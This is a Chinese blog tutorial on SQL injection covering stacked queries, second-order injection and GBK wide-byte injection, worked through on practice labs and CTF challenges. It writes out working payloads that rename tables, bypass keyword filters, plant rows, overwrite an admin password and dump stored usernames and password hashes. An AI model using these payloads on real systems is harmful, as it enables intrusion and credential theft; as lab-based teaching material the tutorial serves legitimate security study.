sql部分注入方式的学习

前言

文章同步于我的个人博客https://quan9i.top/sqlway/,欢迎大家访问。

近期在进行sql注入实战的时候发现一些注入方式并不是很擅长运用,在这里对部分注入方式进行总结,希望能对正在学习sql注入的师傅们有所帮助

堆叠注入

原理

在SQL中,分号(;)是用来表示一条sql语句的结束,那我们在一句SQL语句结束后再紧跟一句SQL语句 ,此时会不会执行两条语句
答案是会,堆叠注入正是基于这种思想而来。

举个简单例子

mysql> select(ascii('a'));show tables;
+--------------+
| (ascii('a')) |
+--------------+
|           97 |
+--------------+
1 row in set (0.00 sec)

+--------------------+
| Tables_in_security |
+--------------------+
| emails             |
| referers           |
| uagents            |
| users              |
+--------------------+
4 rows in set (0.00 sec)

限制

堆叠注入的局限性在于并不是每一个环境下都可以执行
可能受到API或者数据库引擎不支持的限制
又可能因为权限不足而无法正确执行

举个例子
PHP为了防止sql注入机制,往往使用调用数据库的函数是mysql_query()函数,这个函数只运行执行一条语句,分号后面的内容将不会被执行,此时堆叠注入就失效了

实战

0X01

在这里插入图片描述
打开靶场后,首先判断一下id包裹方式
在这里插入图片描述
判断出为单引号包裹,此时判断一下字段数
在这里插入图片描述
说明字段为2,此时尝试使用联合查询
在这里插入图片描述
发现联合查询被ban,此时我们无法使用联合查询进行注入,尝试使用堆叠注入,还有部分被过滤,select无法使用,我们可以使用show,进行爆库
构造如下payload

-1';show databases;#

执行结果如下
在这里插入图片描述爆表
在这里插入图片描述
爆出列名

-1';show columns from `1919810931114514`;#

执行结果
在这里插入图片描述

-1';show columns from `words`;#

在这里插入图片描述这里我们可以看出这个words表是默认查询的表(这张表的结构是一个数字加一个字符串)
,众所周知show是无法查看字段信息的,我们该如何获取flag呢
这里alert和rename没有被限制,我们可以利用rename将words这张表改名为words1,再将数字表改名为words,但是呢,此时他是缺少了一个id列的,因此我们可以用alert将flag列改名为id列,并规定类型为varchar,构造payload如下

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) ;show columns from words;#

此时再利用万能语句,即可得到flag

1' or 1=1 #

在这里插入图片描述这里还有一种方法,就是采用预编译的方法

set是设置一个新列
prepare是进行定义一个语句
execute是执行

构造payload如下

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

执行结果
在这里插入图片描述这里用strstr函数过滤了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可

-1';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

执行结果
在这里插入图片描述

0X02

在这里插入图片描述本关我们尝试以弱口令admin作为账号,对pwd进行堆叠注入测试,构造payload如下

1'insert into users(id,username,password) values(88,'aaa','bbb');#

执行结果
在这里插入图片描述
此时查看sql数据库
在这里插入图片描述
查看源码

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

username进行了转义,但pwd没有用函数进行限制,因此这里就出现了堆叠注入漏洞

二次注入

原理

用户向数据库里存入恶意的数据,在数据被插入到数据库之前,肯定会对数据库进行转义处理,但用户输入的数据的内容肯定是一点也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。
我的认识:
小白对此的理解:先向数据库存入恶意数据,数据在前端被转义,但在存放到数据库时保持原样,此时我们再调用此数据,执行sql查询,二次注入出现!
图解如下
在这里插入图片描述

过程

1、用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string、mysql_real_escape_string转义)
2、数据库对自己存储的数据非常放心,直接取出恶意数据给用户

实战

进入界面后如下图所示
在这里插入图片描述
发现下方有注册的,我们点击注册,用弱口令admin来尝试,命名为admin’#,密码设置为111,如下图
在这里插入图片描述
此时查询数据库,发现注册的已经插入数据库中
在这里插入图片描述
我们登录看看,如下图
在这里插入图片描述
发现是更改密码的,我们试着将111改123,此时查看数据库
在这里插入图片描述
发现更改了admin的密码,即说明注入成功!

作用

那他到底能有什么作用呢,我们可以通过一段php代码来体现它的作用

<?php
include("../sql-connections/sql-connect.php");#引用数据库连接文件
error_reporting(0);//关闭报错
$sql="SELECT * FROM users ORDER BY id";//sql语句是拿出所有数据按照id排列,即从id=1直至最后
$result=mysql_query($sql); //此函数指的是仅执行一种语句,为了防止多个语句注入,并将结果赋值给新变量
$num=mysql_num_rows($result);//此函数指返回结果集中行的数目,新变量$num就是这个数
for ($i=0; $i < $num; ++$i) { //for 循环语句,起始时变量i为0,设置条件为变量i小于变量num,即运行到变量num-1,每次执行后变量加一继续执行
$row = mysql_fetch_array($result);//取出变量result作为一组关联数组赋值给新变量row
$username = $row[1];//将变量row的第一列赋值给变量username
$sql_detail = "SELECT * FROM users where username='$username'"; //将变量username用单引号包裹
$result_detail=mysql_query($sql_detail);//仅执行一种语句,将结果赋值给新变量$result_detail
$num_detail = mysql_num_rows($result_detail);//计算变量$result_detail的行数赋值给新$num_detail
for ($j=0; $j < $num_detail; ++$j) { //for 循环语句,,起始时j为0,设置条件为j小于变量$num_detail,每次执行后加一继续执行
$row_detail = mysql_fetch_array($result_detail);//将结果以关联数组形式联合起来,赋值给新变量
echo<<<END
<table border="1" style="table-layout:fixed;" width="1000">
<tr>
<th>$row_detail[1]</th>
<th>$row_detail[2]</th>
</tr>
</table>
END;
}
}
?>

执行结果为
在这里插入图片描述
用户名和密码被打印出来了!

宽字节注入

原理

首先我们需要了解一下单字节和宽字节

单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
宽字节字符集: 所有的字符都使用两个字节来表示。

注:英文字母占一个字节,汉字占两字节
为什么会产生宽字节注入漏洞,这是因为前端使用的是utf-8编码,后端使用的是gbk,gb2312或其他宽字节编码,这样两者就会存在出入,进而导致了宽字节注入的产生。
对编码字符集的小科普

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。
但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,
比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8
两个版本(例如:dedecms) 我们就以gbk字符编码为例,拉开帷幕。
GBK全称《汉字内码扩展规范》,gbk是一种多字符编码。他使用了双字节编码方案,因为双字节编码所以
gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。我们可以通过输出来验证这句话。
例如:0xD50×5C 对应了汉字“誠 ”,URL编码用百分号加字符的16进制编码表示字符,于是 %d5%5c 
经URL解码后为“誠”。

前端使用的部分函数对特殊字符进行转义,添加反斜杠 \,那我们如果能够再前面多一个字符,使其与\组成汉字,就成功的使后面的特殊字符逃逸出来,从而可以进行注入。
下方是转义时运用的部分函数

magic_quotes_gpc:当PHP的传参中有特殊字符就会在前面加转义字符'\',来做一定的过滤 
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
mysql_escape_string() — 转义一个字符串

实战

0X01

在这里插入图片描述
当我们输入?id=1'时,发现多了一个反斜线,此时我们考虑到宽字节注入,尝试去构造一个字母与后面的\组成汉字,我们知道%df与\可以组成汉字,构造payload如下

?id=1%df%27
注:%27是单引号的url编码

执行结果
在这里插入图片描述
�\ 实际上就是那个運字 ,此时我们就可以尝试进行注入
爆库

?id=-1%df%27 union select 1,2,database()%23

执行结果
在这里插入图片描述爆表

?id=-1%df%27 union select 1,2,
(select group_concat(table_name) from information_schema.tables
 where table_schema=database())--+

注:此时库名不能写'security',因为出现了单引号,可以用database()十六进制来进行代替
在这里插入图片描述爆列名

?id=-1%df%27 union select 1,2,
(select group_concat(column_name) from information_schema.columns 
where table_name=0x7573657273)--+

执行结果
在这里插入图片描述

爆字段信息(下方以uesrs为例)

?id=-1%df%27 union select 1,2,
(select group_concat(username,0x7e,password) from security.users)--+

执行结果
在这里插入图片描述

0X02

进入靶场后
在这里插入图片描述
下方灰色处发现可以点击,点击进入
在这里插入图片描述
尝试宽字节注入

?id=1%df'

在这里插入图片描述
发现报错,说明可以进行宽字节注入
那就开始日常的sql注入流程,判断字段数

?id=1%df' order by 6 --+

执行结果
在这里插入图片描述
说明字段数为5,此时利用联合查询,看哪个有回显

?id=-1%df' union select 1,2,3,4,5 --+

在这里插入图片描述
发现3和5有回显位,此时利用3和5来爆库并得到当前用户名

?id=-1%df' union select 1,2,user(),4,database() --+

在这里插入图片描述mozhe_discuz_stormgroup
此时再查表名

?id=-1%df' union select 1,2,user(),4,(select group_concat(table_name) from
 information_schema.tables where 
 table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570) --+

在这里插入图片描述同时查两个表的列名

?id=-1%df' union select 1,2,(select group_concat(column_name) from
information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,
(select group_concat(column_name) from information_schema.columns where 
table_name=0x6e6f74696365) --+

在这里插入图片描述
此时想到我们登录需要的是name和password,因此我们查询这两个字段

?id=-1%df' union select 1,2,(select group_concat(column_name) from
 information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,
 (select group_concat(name,0x7e,password,0x7e,status) from 
 mozhe_discuz_stormgroup.stormgroup_member)--+

在这里插入图片描述
得到uesrname是mozhe,此时用password对后面状态为1的进行md5解密
在这里插入图片描述
得到密码,进行登录
在这里插入图片描述
获取到了key,解题完成

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值